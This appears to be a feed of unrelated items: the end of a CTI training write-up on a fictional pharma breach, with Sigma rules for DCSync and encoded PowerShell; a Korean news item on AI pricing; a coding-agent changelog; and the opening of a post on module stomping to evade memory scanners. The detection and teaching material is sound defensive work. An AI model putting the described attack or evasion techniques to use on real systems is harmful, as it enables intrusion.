CL-004 — DCSync executed via svc_backup on November 6

Claim: DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTC.
Evidence: DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.
Confidence: High
Competing Hypotheses: Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.
PIR: PIR-003

CL-005 — CFO path and IT admin path are same threat actor

Claim: Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat actor.
Evidence: Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.
Confidence: High
Competing Hypotheses: Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.
PIR: PIR-002

CL-006 — Full domain compromise via DCSync

Claim: The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.
Evidence: CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account hashes.
Confidence: High
Competing Hypotheses: DCSync may have been partial or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.
PIR: PIR-003

CL-003 is the pivotal claim. The US partner’s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from “contain these three hosts” to “rotate all AD credentials, treat all 80 servers as potentially compromised.”

3. Update project.yml PIR status

When a PIR is answered, open project.yml and change the status field immediately:

nano project.yml

Change:

- id: PIR-001
    status: open

To:

- id: PIR-001
    status: answered    # CL-003 — exfiltration confirmed, 381 MB, Nov 6

4. Commit the claims ledger

git add 03-analysis/claims/claims-ledger.md project.yml
git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"

Step R4: ATT&CK Mapping — Where Detection Failed

1. Open the ATT&CK mapping file

nano 03-analysis/attck-mapping/attck-mapping.md

For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: Confidence (how sure are you the technique was used), Rule Fired? (yes/no/partial — check your SIEM), and Gap Type (what kind of work is needed to close this detection hole).

Gap types: Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.

Also update project.yml — fill the attck_techniques list:

nano project.yml

scope:
  attck_techniques:
    - T1566.001
    - T1557
    - T1133
    - T1078.002
    - T1059.001
    - T1003.001
    - T1003.006
    - T1021.003
    - T1197
    - T1047
    - T1070.001
    - T1547.001

2. Fill one row per technique

T1566.001 — Phishing attachment, CFO .xlsm

Evidence: M365 ATP log
Confidence: High
Rule Fired?: Partial — ATP delivered; SCL=4, threshold=5
Gap Type: Coverage incomplete — SCL threshold tuning

T1557 — AiTM credential theft, IT admin

Evidence: VPN login pattern + AiTM HTML lure
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — no AiTM session token detection

T1133 — VPN access with stolen credentials

Evidence: VPN log: Istanbul, off-hours, no prior history
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — no anomalous VPN authentication alert

T1078.002 — Valid account abuse, svc_backup

Evidence: EID 4624, multiple events
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — service account off-hours logon undetected

T1059.001 — Encoded PowerShell, both hosts

Evidence: Sysmon EID 1, CrowdStrike
Confidence: High
Rule Fired?: Yes, CFO only, via CrowdStrike behavioral detection
Gap Type: Coverage incomplete — CFO only; IT admin host fired no alert

T1003.001 — LSASS memory access

Evidence: Sysmon EID 10, GrantedAccess 0x1010
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — Sysmon EID 10 not alerted on

T1003.006 — DCSync

Evidence: DC01 EID 4662
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — EID 4662 audit configured but no alert rule

T1021.003 — WMI lateral movement to SERVER-FIN-01

Evidence: CrowdStrike: WmiPrvSE → PowerShell
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — WmiPrvSE parent alert not deployed

T1197 — BITS download, second stage

Evidence: Sysmon EID 1, bitsadmin
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — BITS external download not monitored

T1047 — WMI execution, lateral movement

Evidence: CrowdStrike log
Confidence: High
Rule Fired?: No
Gap Type: Data source missing — WMI logging not in SIEM

T1070.001 — Event log cleared

Evidence: CrowdStrike EID 1102
Confidence: High
Rule Fired?: No
Gap Type: Rule missing — wevtutil alert not deployed

T1547.001 — Registry Run Key persistence

Evidence: Sysmon EID 13
Confidence: High
Rule Fired?: No
Gap Type: Coverage incomplete — EID 13 ingested but no alert rule on AppData\\Roaming paths

The gap taxonomy tells the engineering team exactly what work is required:

Rule missing (7 techniques): Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.
Coverage incomplete (3 techniques): Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.
Data source missing (1 technique): WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.

The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.

3. Commit the ATT&CK mapping

git add 03-analysis/attck-mapping/attck-mapping.md project.yml
git commit -m "PROJ-2024-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"

Step R5: Attribution Assessment — Same Actor or Two?

1. Open the attribution file

nano 03-analysis/attribution/attribution.md

Write attribution only after the claims ledger is complete. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.

Do not start with a hypothesis. Start with the evidence you have from the claims ledger, then see where it points.

2. Score the evidence against the confidence ladder

The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?

Evidence for unification (same actor):

Shared PE compile timestamp: Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.
Shared secondary C2 domain in memory: Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.
Coordinated operations timeline: The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.

Assessment: Single threat actor, dual delivery mechanism.

The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.

Attribution confidence: Medium-High. Apply the confidence ladder from Step R5 of the methodology to score this case:

Ladder tier: Medium-High — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.

What to write: “Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.”

3. Paste the final language into attribution.md and commit

git add 03-analysis/attribution/attribution.md
git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"

Step R6: Detection Rules — Four That Would Have Changed the Outcome

1. Create one file per rule

Each rule gets its own file in 04-detections/sigma/:

cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml

Open the first one:

nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml

Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.

2. Fill each rule

Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.

DET-001: Anomalous VPN Authentication from Non-Corporate Source

title: Anomalous VPN Authentication — New Geography or Hosting ASN
id: a1b2c3d4-5678-9abc-def0-1234567890ab
status: experimental
description: >
  Detects VPN authentication success from a source IP with no prior history for
  this user, specifically from IPs geolocated outside Israel or from hosting/VPN
  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).
  Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.
logsource:
  category: network
  product: cisco_anyconnect
detection:
  selection:
    event.action: vpn_auth_success
    user.name|exists: true
  filter_known:
    source.geo.country_iso_code: 'IL'
    source.as.number|not|startswith: ['AS47583', 'AS16276']   # hosting VPS ASNs
  condition: selection and not filter_known
falsepositives:
  - Legitimate international travel — validate against HR travel records
  - Remote contractors working abroad
level: high
tags:
  - attack.initial_access
  - attack.t1133
  - attack.credential_access
  - attack.t1557

DET-002: DCSync Attack Detection

title: DCSync Attack via Non-DC Account
id: b2c3d4e5-6789-abcd-ef01-234567890abc
status: production
description: >
  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes
  GUID originating from a workstation IP rather than a domain controller.
  Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI
  using Domain Admin rights that were never revoked after an August 2024 
  emergency backup restoration.
logsource:
  category: windows
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}'   # DS-Replication-Get-Changes
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'             # DS-Replication-Get-Changes-All
      - '89e95b76-444d-4c62-991a-0facbeda640c'             # DS-Replication-Get-Changes-In-Filtered-Set
  filter_legitimate_dc:
    IpAddress|startswith:
      - '10.10.1.10'   # DC01 — add all DC IPs here
      - '10.10.1.11'   # DC02
  condition: selection and not filter_legitimate_dc
falsepositives:
  - Azure AD Connect sync account — must be explicitly whitelisted
  - Authorized red team / pentest — validate scope before dismissing
level: critical
tags:
  - attack.credential_access
  - attack.t1003.006

DET-003: Service Account Off-Hours Authentication

title: Service Account Authentication Outside Business Hours
id: c3d4e5f6-789a-bcde-f012-34567890abcd
status: experimental
description: >
  Detects authentication by a service account (accounts matching svc_* naming
  pattern) outside business hours (22:00–06:00) to a non-designated system.
  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral
  movement in PROJ-001.
logsource:
  category: windows
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    SubjectUserName|startswith: 'svc_'
  filter_business_hours:
    TimeCreated|windash|lt: '22:00:00'
    TimeCreated|windash|gt: '06:00:00'
  filter_known_backup_host:
    IpAddress: '10.10.4.15'   # SERVER-WSUS-01 — legitimate backup source
  condition: selection and not filter_business_hours and not filter_known_backup_host
falsepositives:
  - Scheduled tasks that legitimately run at night — review and whitelist specific pairs
level: medium
tags:
  - attack.lateral_movement
  - attack.t1078.002

DET-004: WmiPrvSE Spawning PowerShell

title: WMI Remote Execution — PowerShell Child of WmiPrvSE
id: d4e5f6a7-89ab-cdef-0123-4567890abcde
status: production
description: >
  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns
  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:
  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport
  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the
  originating WMI connection from the CFO host had no coverage.
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
    Image|endswith: '\powershell.exe'
  suspicious_flags:
    CommandLine|contains:
      - '-Enc'
      - '-EncodedCommand'
      - '-NonI'
      - '-W Hidden'
  condition: selection and suspicious_flags
falsepositives:
  - SCCM WMI-based software deployment with PowerShell post-install scripts
level: high
tags:
  - attack.lateral_movement
  - attack.execution
  - attack.t1021.003
  - attack.t1059.001

Validation: All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.

3. Validate each rule against your evidence set

# Run Hayabusa against the collected logs to confirm rules fire on known-bad events
hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv

Review the output. A rule that does not fire on its own evidence set should not be deployed.

4. Update project.yml deliverables count and commit

nano project.yml

deliverables:
  - type: sigma-rules
    count: 4
    status: complete

git add 04-detections/sigma/ project.yml
git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"

Step R7: Deliverables — What Each Stakeholder Gets

1. Open the deliverable templates

nano 05-deliverables/executive-brief.md
nano 05-deliverables/soc-handoff.md

The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.

The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.

2. Fill the executive brief

Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:

An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.

PIR-001 ANSWERED: The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.

PIR-003 ANSWERED: Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.

Immediate actions: Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.

SOC handoff (technical):

Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.

Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.

3. Update project.yml status to closed and commit everything

nano project.yml

project:
  status: closed
pirs:
  - id: PIR-001
    status: answered    # CL-003
  - id: PIR-002
    status: answered    # CL-001
  - id: PIR-003
    status: answered    # CL-006 - ongoing, AD rotation required

git add 05-deliverables/ project.yml
git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"

The Git History: What a Completed Investigation Looks Like

b9a2f1c  PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready
7c8d3e4  PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa
5f2a9b1  PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)
3e4c7d8  PROJ-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing
1b6f2a5  PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)
9a3e7c2  PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed
6f1b4d9  PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent
2c8a5e3  PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI
a1d7f4b  PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope
0e9c2b7  PROJ-001: scaffold initialized

Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now “what did you know and when did you know it?” — the git log answers.

Key Lessons

The alert was not the beginning. The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.

Gaps are findings, not absences. The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not “we don’t know what happened.” A gap that coincides with a malicious delivery is evidence of anti-forensics.

DCSync changes everything. The scope of remediation is not “three infected hosts.” When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.

Claims need competing hypotheses. CL-003 (exfiltration confirmed) is only defensible as “high confidence” because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.

This scenario is training assignment A01 from the CTI as a Code repository. The full evidence set, template, and worked solution are available there.

Follow My Work

I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.

Portfolio / Knowledge Base: https://anpa1200.github.io/
Medium: https://medium.com/@1200km
GitHub: https://github.com/anpa1200
LinkedIn: https://www.linkedin.com/in/andrey-pautov/

Andrey Pautov

CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

“앤트로픽 AI 서비스, 지나치게 비싸” MS AI 수장 비판

Mon, 08 Jun 2026 04:32:10 +0200

“남 탓하는 것 아닌가?”라는 반응이 나올 법하다. 마이크로소프트(MS)의 AI 부문 수장 무스타파 술레이만이 경쟁사 AI 서비스의 가격이 지나치게 비싸다고 비판한 시점이, 자사 깃허브 코파일럿의 사용량 기반 과금 체계가 개발자들에게 본격적인 비용 부담을 주기 시작한 때와 맞물렸기 때문이다.

MS AI 최고경영자(CEO)인 무스타파 술레이만은 블룸버그와의 인터뷰에서 “앤트로픽은 매우 비싸며, 많은 사람이 대안을 절실히 찾고 있다고 생각한다”라고 말했다.

현재 AI 업계에서는 서비스 비용 문제가 주요 관심사로 떠오르고 있다. 기업 내 다양한 부서에서 AI 기술 활용이 확대되고 있지만, 상당수 기업은 의미 있는 투자 대비 수익률(ROI)을 입증하는 데 어려움을 겪고 있기 때문이다.

이 같은 상황에서 MS는 이번 주 연례 개발자 행사인 빌드(Build)에서 새로운 AI 모델 7종을 공개하며 비용 경쟁력을 적극 부각했다. 회사는 보다 저렴한 AI 모델이 제공될 경우 더 많은 기업이 AI 프로젝트의 사업성을 확보할 수 있을 것으로 기대하고 있다.

시장조사업체 가트너는 2025년 보고서에서 현재 추진 중인 많은 AI 프로젝트가 2027년까지 중단될 수 있다고 전망했다. 업계에서는 보다 저렴한 AI 구축 방식이 이러한 문제를 해결할 수 있는 대안이 될 것으로 보고 있다.

MS는 자사 AI 개발 도구가 앤트로픽 제품보다 더 높은 비용 효율성을 제공한다고 판단하는 것으로 보인다. 실제로 지난달에는 MS가 오는 6월 반기 계약 종료 시점에 맞춰 대부분의 클로드 코드(Claude Code) 라이선스를 해지하고, 엔지니어들을 자사 코파일럿 도구로 전환할 계획이라는 보도가 나온 바 있다.
dl-ciokorea@foundryco.com

v15.10.0

Mon, 08 Jun 2026 02:50:53 +0200

@oh-my-pi/pi-ai

Added

Added a dependency-free @oh-my-pi/pi-ai/effort module exporting the Effort enum and THINKING_EFFORTS, split out of model-thinking so hot-path consumers can import the thinking levels without pulling in model-thinking and its provider-compat dependency graph. The package barrel still re-exports both names, so existing imports are unaffected.

Fixed

Fixed Antigravity usage provider emitting one bar per model instead of deduplicating by tier — a single account's 15+ model entries now collapse to one bar per tier, matching the shared-quota reality of the upstream API.
Fixed Antigravity usage reports missing email and accountId in metadata, so the /usage display and the deduplicator can associate reports with their credentials.
Fixed usage-report dedup ignoring projectId for Google Cloud providers, preventing duplicate credential entries from being recognized as the same account.
Fixed Cloud Code Assist (Antigravity / Gemini CLI) rejecting the github tool with HTTP 400 when the pr parameter schema contained anyOf: [string, array]. The CCA mixed-type combiner collapse picked the first non-null type (string) but indiscriminately copied type-specific keys from variant branches — items from the array variant leaked onto the string-typed result, producing {type: "string", items: {...}} which Google's API rejects as invalid. The collapse now filters merged variant fields against the winning type's allowed key set. (#2002)
Fixed OpenAI Responses-family providers (Codex, OpenAI Responses, Azure Responses) rejecting requests with 400 No tool output found for function call … after the user branched/navigated the session tree to a node that ends on a tool call (the tool-result child is dropped from the reconstructed history) or after a turn was aborted/crashed between the call streaming and its result persisting. The converters now synthesize a placeholder function_call_output/custom_tool_call_output immediately after any unpaired function_call/custom_tool_call, symmetric to the existing orphan-output repair, so the model still sees the call and can recover instead of the whole request 400ing.
Fixed Anthropic-compatible reasoning endpoints losing prior-turn reasoning on continuation requests when they emit unsigned thinking blocks. convertAnthropicMessages treated unknown endpoints as signature-enforcing and demoted unsigned reasoning to type: "text", which destabilized tool-call argument serialization on the next turn — the upstream symptom behind the args?.ops?.map is not a function crash reported against the todo tool. Official api.anthropic.com keeps the conservative text fallback; non-official anthropic-messages reasoning models now replay unsigned reasoning as native type: "thinking" (#2005).

@oh-my-pi/pi-coding-agent

Breaking Changes

Replaced the providers.parallelFetch boolean setting with the providers.fetch enum (auto / native / trafilatura / lynx / parallel / jina) that selects the URL reader-backend priority for the read/fetch tool, mirroring providers.image/providers.webSearch. Existing configs are migrated automatically: the legacy key is dropped and the new auto default applies.

Added

Added a GitHub Actions read handler to the read/web-fetch GitHub scraper. Fetching github.com/{owner}/{repo}/actions/runs/{id} renders the run metadata plus a per-job breakdown (steps listed for any job that did not succeed), and …/actions/runs/{id}/job/{id} (also the API-style …/jobs/{id}) renders a single job's metadata, step table, and full plain-text logs. Logs are fetched via the actions/jobs/{id}/logs redirect using GITHUB_TOKEN/GH_TOKEN when present, with the per-line ISO timestamp prefix and leading BOM stripped; the section degrades to an explicit notice when logs are unavailable (no token, private repo, or expired/unfinalized run).

Changed

Changed eval agent() subagents so they are never subject to the task.maxRuntimeMs wall-clock cap. The parent cell's idle watchdog is already suspended for the entire bridge call (withBridgeTimeoutPause), so a long-running fan-out/recovery workflow must not be killed by a per-subagent runtime limit. runEvalAgent now passes maxRuntimeMs: 0 to runSubprocess, which honors an explicit ExecutorOptions.maxRuntimeMs override over the inherited setting.
Changed interactive timing behavior so PI_TIMING=x pi preloads the module timer before the CLI graph loads and includes the (modules) report. PI_TIMING=full now also exits after printing, matching PI_TIMING=x, so full module reports are usable for cold-start measurement without launching the TUI. Added the root dev:timing script for the same profiled startup path.
Changed coding-agent startup imports so normal TUI launch imports InteractiveMode directly, keeps print/RPC/ACP runners on their branch-only paths, and moves marketplace auto-update work behind a lightweight deferred starter.
Changed cold-launch setup gating so the full setup wizard (every scene plus the overlay and their TUI/OAuth/web-search/theme dependencies) is no longer statically imported by main.ts. The current setup version now lives in a tiny dependency-free modes/setup-version module, and the wizard barrel is lazy-loaded only when the stored setup version is stale or the wizard is forced — the common up-to-date launch skips loading it entirely.
Changed cold-launch startup imports so the hot-path CLI files no longer pull the full @oh-my-pi/pi-ai barrel: commands/launch.ts and cli/args.ts import THINKING_EFFORTS/Effort from the tiny @oh-my-pi/pi-ai/effort module, and config/model-registry.ts now imports its ~20 symbols from narrow subpaths (api-registry, model-cache, model-manager, model-thinking, models, provider-models, types, utils/event-stream) instead of the barrel — so launching no longer eagerly loads every provider, auth, OAuth, and usage module re-exported by the barrel.
Changed the read/fetch HTML reader-backend priority to native > trafilatura > lynx > parallel > jina (was parallel > jina > trafilatura > lynx > native). The in-process native htmlToMarkdown runs first — instant, no network, full-fidelity — so the common case no longer depends on a remote service, and a stalled remote backend can no longer mask it. Selecting a specific backend via providers.fetch tries it first, then the rest fall back. The low-quality gate (>100 chars and not isLowQualityOutput) now applies uniformly to every backend; when none clears it, the highest-priority substantial-but-low-quality output is still surfaced so the llms.txt / document-extraction fallbacks keep running.

Fixed

Fixed eval agent() failures surfacing as an opaque RuntimeError: bridge call '__agent__' failed with no reason. When a subagent aborted, runEvalAgent built its failure message with result.error ?? result.stderr ?? result.abortReason ?? …, but result.stderr is the empty string on a clean abort (and result.error is gated on a non-empty stderr), so the nullish chain stopped at "" and never reached abortReason. The empty string propagated through the loopback bridge and the Python prelude's RuntimeError(msg or "bridge call … failed"), discarding the real reason. The chain now uses || so an empty stderr falls through to abortReason.
Fixed subagent aborts being mislabeled as the generic "Cancelled by caller" when the abort originated inside the subagent's own turn (stopReason: "aborted" with no caller signal and no runtime-limit timer). runSubprocess now prefers the aborted assistant message's errorMessage (e.g. "Request was aborted" or a specific stream error) for that case, while a real caller signal or wall-clock abort still reports its precise reason.
Fixed a long streaming tool preview that alone overflows the viewport dropping its scrolled-off head on ED3-risk terminals (ghostty/kitty/iTerm2/…). When expanded with Ctrl+O, a streaming write (content streaming in) and a streaming eval (stdout streaming below its fixed code cell) render top-anchored and grow append-only, but the tool block never reported itself append-only to the transcript, so the renderer's commit-as-you-go boundary stopped at the block start and the earlier rows that scrolled above the viewport were committed nowhere — they vanished, leaving the preview looking like a viewport-tall circular buffer. ToolExecutionComponent now implements isTranscriptBlockAppendOnly() (gated on isTranscriptBlockFinalized(), so it also covers partial-result streams like eval), delegating to a renderer-declared isStreamingPreviewAppendOnly predicate so the expanded stream commits its head exactly like a streamed assistant reply. Collapsed previews (bounded sliding tail windows) and finalized/result previews (which can collapse to a capped view) stay deferred.
Fixed read/fetch silently dropping whole list sections on pages with malformed list markup — stray , text, or nodes as direct children of
- Fixed /usage aggregate amount fallback using raw limits.length as account count — now counts unique accountId values from limit scopes, so N limits from a single account no longer display as "N accts".
- Fixed /usage account labeling falling back to "account N" for providers that use projectId as their primary identity (e.g. Google Antigravity, Gemini CLI) — projectId from report metadata is now considered before the generic fallback.
- Fixed the todo tool's TUI renderer crashing with TypeError: args?.ops?.map is not a function when a streaming tool-call delta surfaced a non-array ops field (mid-stream parseStreamingJson shapes like { ops: "[{" }, or [null] entries before fields arrive). The renderer now treats non-array ops, non-object entries, and non-array items as missing structure instead of crashing, which also stops the spam-warn cascade that followed each malformed delta. Paired with the Anthropic-side reasoning-replay fix in packages/ai (#2005).
- Fixed Python eval agent() collapsing subagent runtime-limit aborts (and other empty-stderr aborts) into a generic RuntimeError: bridge call '__agent__' failed. runEvalAgent coalesced the failure message with ??, which stopped at the empty stderr and never reached abortReason, shipping an empty error through the loopback bridge. The bridge now prefers abortReason for aborts and trims empty stderr/error out of the fallback chain, so Python surfaces the actionable reason (e.g. Subagent runtime limit exceeded (task.maxRuntimeMs=900000)) (#2006).
@oh-my-pi/pi-tui

Changed
- Reworked the DEC 2026 synchronized-output default policy: a positive DECRQM mode-2026 report now enables sync (previously a report could only disable it), so conservatively defaulted-off hosts that actually support it — current Zellij, tmux master, foot, contour, mintty — are upgraded at runtime. The static allowlist also covers Alacritty and the VS Code terminal, honors a TERM_FEATURES Sy advertisement and WT_SESSION (Windows Terminal / WSL), and no longer blanket-disables SSH (DEC 2026 passes through to the outer terminal). Risky multiplexers still start off and rely on the probe. Added synchronizedOutputUserOverride() as the shared opt-out/force resolver.
Fixed
- Fixed WSL/Windows Terminal row flicker while typing by repainting changed text rows before clearing only their stale suffix (#2011).
- Fixed terminals that support DEC 2026 still tearing/flickering because the renderer ignored a positive DECRQM capability report and kept synchronized output off — most visibly WSL + Windows Terminal, Alacritty (≥0.13), and the VS Code terminal (≥1.108), which were detected yet refused sync.
@oh-my-pi/pi-utils

Changed
- logger.printTimings() (the PI_TIMING startup tree) now surfaces two previously-invisible regions: a (before instrumentation) line for runtime init / uncaptured pre-marker work, and an (unattributed self) line for the root span's own untimed work so the gap between visible top-level spans and Total is no longer swallowed. Total is now labelled (since first marker) to make the window explicit. The restored module-timer.ts preload can feed module spans into the report: each module records onLoad → final top-level marker as total, a prepended body marker → final marker as body/TLA, and resolved static imports as a bounded dependency tree so the report separates graph wait from actual top-level module work.
What's Changed
- fix(ai): strip type-specific keys when CCA mixed-type collapse picks non-matching type by @basedcorp99 in #2002
- fix(usage): sanitize Antigravity /usage display — dedupe by tier, fix account count, merge window data by @basedcorp99 in #2004
- fix(coding-agent): harden todo renderer against malformed streaming args by @roboomp in #2007
- fix(eval): surface subagent abort reason through Python agent() bridge by @roboomp in #2008
- docs(web-search): updated kagi description to v1 endpoint by @roboomp in #2010
- fix(tui): reduce WSL row flicker while typing by @roboomp in #2012
- fix(debug): wait for dlv unix socket before connecting by @roboomp in #2014
Full Changelog: v15.9.69...v15.10.0

An Introduction to Module Stomping

Sun, 07 Jun 2026 16:53:54 +0200

Overwriting DLLs for Windows Process Injection

Background

Context

In modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly popped by memory scanners.

To bypass these hurdles, we need to slide past detection. Enter Module Stomping, a technique that involves overwriting the .text section of a loaded, signed DLL to hide our payload inside a disk-backed memory region.

CHA CHA NOW YA’LL

In this post, I will outline the basic workflow and some common primitives used in module stomping for Windows process injection.

Tools

All module stomping code referenced in this post can be found in the ‘module-injection’ folder in my ‘windows-process-injection’ repository.

GitHub - toneillcodes/windows-process-injection: A collection of techniques for process injection on Windows

SystemInformer can optionally be used to follow the workflow and will be covered in the example PoC section of this post.

System Informer

Module Stomping

Workflow & Primitives

